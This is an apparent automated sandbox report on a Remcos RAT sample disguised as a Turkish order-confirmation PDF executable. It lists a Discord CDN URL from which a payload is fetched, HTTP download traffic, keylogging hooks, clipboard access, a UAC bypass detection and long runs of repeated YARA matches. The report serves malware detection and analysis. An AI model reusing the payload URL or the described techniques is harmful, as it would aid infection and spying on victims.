Source: Eluiezilfw.exe, 00000008.00000002.347399894.0000000003760000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/990482594137251863/990489253987360768/Eluiezilfwmdrgrdfrqpnwm

Source: unknown

DNS traffic detected: queries for: cdn.discordapp.com

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_00402149 ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z,malloc,recv,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBDIABV?$allocator@D@1@@Z,??4?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??Y?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV01@ABV01@@Z,free,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,

Source: global traffic	HTTP traffic detected: GET /attachments/990482594137251863/990489253987360768/Eluiezilfwmdrgrdfrqpnwmurrnwnhm HTTP/1.1User-Agent: lValiHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/990482594137251863/990489253987360768/Eluiezilfwmdrgrdfrqpnwmurrnwnhm HTTP/1.1User-Agent: 21Host: cdn.discordapp.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /attachments/990482594137251863/990489253987360768/Eluiezilfwmdrgrdfrqpnwmurrnwnhm HTTP/1.1User-Agent: 16Host: cdn.discordapp.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /attachments/990482594137251863/990489253987360768/Eluiezilfwmdrgrdfrqpnwmurrnwnhm HTTP/1.1User-Agent: 91Host: cdn.discordapp.comCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 162.159.130.233:443 -> 192.168.2.3:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.3:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.3:49751 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Windows\SysWOW64\logagent.exe	Code function: [Esc]
Source: C:\Windows\SysWOW64\logagent.exe	Code function: [Enter]
Source: C:\Windows\SysWOW64\logagent.exe	Code function: [Tab]
Source: C:\Windows\SysWOW64\logagent.exe	Code function: [Down]
Source: C:\Windows\SysWOW64\logagent.exe	Code function: [Right]
Source: C:\Windows\SysWOW64\logagent.exe	Code function: [Up]
Source: C:\Windows\SysWOW64\logagent.exe	Code function: [Left]
Source: C:\Windows\SysWOW64\logagent.exe	Code function: [End]
Source: C:\Windows\SysWOW64\logagent.exe	Code function: [F2]
Source: C:\Windows\SysWOW64\logagent.exe	Code function: [F1]
Source: C:\Windows\SysWOW64\logagent.exe	Code function: [Del]
Source: C:\Windows\SysWOW64\logagent.exe	Code function: [Del]

Contains functionality to register a low level keyboard hook

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_10546C64 SetWindowsHookExA 0000000D,004052BA,00000000,00000000

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_0040D2A6 ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,SetEvent,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB,?substr@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBE?AV12@II@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,GetTickCount,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??Hstd@@YA?AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@ABV10@0@Z,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,atoi,??8std@@YA_NABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@0@PBD@Z,Sleep,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,URLDownloadToFileW,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,OpenClipboard,Sleep,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,??1?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@XZ,?c_str@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QBEPBGXZ,??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z,??0?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAE@ABV01@@Z,?c_str@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QBEPBDXZ,atoi,?c_str@?$basic_string@GU?$char_trait

Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe, 00000000.00000002.308934385.000000000073A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_0040532D GetKeyState,GetKeyState,GetKeyState,CallNextHookEx,

Source: C:\Windows\SysWOW64\logagent.exe

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 3.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.10540000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.10540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.1054198f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DpiScaling.exe.1054198f.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.359362662.0000000004C00000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.344931678.0000000000D80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.533899763.00000000031F0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: logagent.exe PID: 6552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DpiScaling.exe PID: 5936, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Windows\SysWOW64\logagent.exe

Code function: 3_2_10554D8D SystemParametersInfoW,

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 3.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 3.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 15.2.DpiScaling.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 15.2.DpiScaling.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 15.2.DpiScaling.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 14.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 14.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 14.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 3.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 3.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 3.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 14.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 14.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 14.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 15.2.DpiScaling.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 15.2.DpiScaling.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 15.2.DpiScaling.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 3.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 3.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 3.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 3.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 3.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 3.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 14.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 14.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 14.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 15.2.DpiScaling.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 15.2.DpiScaling.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 15.2.DpiScaling.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 3.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 3.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 3.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 15.2.DpiScaling.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 15.2.DpiScaling.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 15.2.DpiScaling.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 14.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 14.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 14.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 3.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 3.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 3.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 15.2.DpiScaling.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 15.2.DpiScaling.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 15.2.DpiScaling.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 15.2.DpiScaling.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 15.2.DpiScaling.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 15.2.DpiScaling.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 14.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 14.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 14.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 14.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 14.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos Payload Author: kevoreilly
Source: 14.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Remcos Payload Author: kevoreilly
Source: 00000003.00000002.534117821.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Remcos Payload Author: kevoreilly
Source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Remcos Payload Author: kevoreilly
Source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Remcos Payload Author: kevoreilly
Source: 00000003.00000002.532672625.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Remcos Payload Author: kevoreilly
Source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detects Windows exceutables potentially bypassing UAC using eventvwr.exe Author: ditekSHen
Source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Remcos Payload Author: kevoreilly
Source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown

Source: Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 3.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 3.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 3.2.logagent.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 15.2.DpiScaling.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 15.2.DpiScaling.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 15.2.DpiScaling.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 14.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 14.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 14.2.logagent.exe.10540000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 3.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 3.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 3.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 14.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 14.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 14.2.logagent.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 15.2.DpiScaling.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 15.2.DpiScaling.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 15.2.DpiScaling.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 3.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 3.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 3.2.logagent.exe.1054198f.2.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 3.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 3.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 3.2.logagent.exe.10540000.1.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 14.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer author = ditekSHen, description = detects Windows exceutables potentially bypassing UAC using eventvwr.exe
Source: 14.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: Remcos_1 author = kevoreilly, description = Remcos Payload, cape_type = Remcos Payload
Source: 14.2.logagent.exe.1054198f.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
